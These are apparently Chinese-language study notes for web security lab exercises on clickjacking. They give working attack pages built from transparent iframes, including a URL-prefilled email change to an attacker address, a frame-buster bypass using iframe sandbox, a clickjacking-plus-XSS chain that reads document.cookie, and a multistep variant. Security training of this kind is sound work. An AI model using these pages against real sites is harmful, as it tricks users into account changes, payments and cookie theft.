點擊劫持是一種基於介面的攻擊,透過點擊誘餌網站中的某些其他內容,誘騙用戶點擊隱藏網站上的可操作內容。
例如,受害者造訪誘餌網站(也許這是電子郵件提供的連結)並點擊按鈕來贏得獎品。在不知不覺中,他們被攻擊者欺騙,按下了另一個隱藏按鈕,這導致了另一個網站上的帳戶的付款。
範例攻擊網頁如下,當受害者開啟後會顯示正常網站$url的內容, 一旦受害者點擊則觸發攻擊者陷井
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:300px;
left:60px;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="$url"></iframe>
Lab: Basic clickjacking with CSRF token protection
預填參數點擊劫持
如果想對正常網站傳送email=hacker@attacker-website.com
,可準備以下攻擊網頁
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:300px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="$url?email=hacker@attacker-website.com"></iframe>
Lab: Clickjacking with form input data prefilled from a URL paramete
饒過點擊劫持保護
如果目標限制網站的框架能力,可透過HTML5 iframesandbox
屬性饒過。當使用allow-forms
或allow-scripts
值設定並且allow-top-navigation
省略該值時,可以中和框架破壞腳本。參考代碼如下
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:300px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="$url?email=hacker@attacker-website.com"></iframe>
Lab: Clickjacking with a frame buster script
搭配XSS的點擊劫持
如果目標有XSS弱點,可配合該弱點一起利用,參考代碼如下
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:410px;
left:100px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://acb81f3f1f9f7ad080f913b5004f0069.web-security-academy.net/feedback?name=<img src=1 onerror=alert(document.cookie)>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
一旦受害者開啟,視角會像以下這樣
<form id="feedbackForm" action="/feedback/submit" method="POST" enctype="application/x-www-form-urlencoded" personal="true">
<input required type="hidden" name="csrf" value="ANhLQIO9pk6G72DBKikWxhbCBzJHyHmm">
<label>Name:</label>
<input required type="text" name="name" value="<img src=1 onerror=alert(document.cookie)>">
<label>Email:</label>
<input required type="email" name="email" value="hacker@attacker-website.com">
<label>Subject:</label>
<input required type="text" name="subject" value="test">
<label>Message:</label>
<textarea required rows="12" cols="300" name="message">test</textarea>
<button class="button" type="submit">
Submit feedback
</button>
<span id="feedbackResult"></span>
</form>
Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS
多步驟點擊劫持
攻擊者操縱目標網站的輸入可能需要採取多種行動。例如,攻擊者可能想誘騙用戶從零售網站購買商品,因此需要在下訂單之前將商品加入購物籃。攻擊者可以使用多個分區或 iframe 來實施這些操作。
以下為2步驟的參考代碼
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:350px;
left:110px;
z-index: 1;
}
.secondClick {
left:270px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://ac491f781f41f6d380260340007600ce.web-security-academy.net/account"></iframe>
Lab: Multistep clickjacking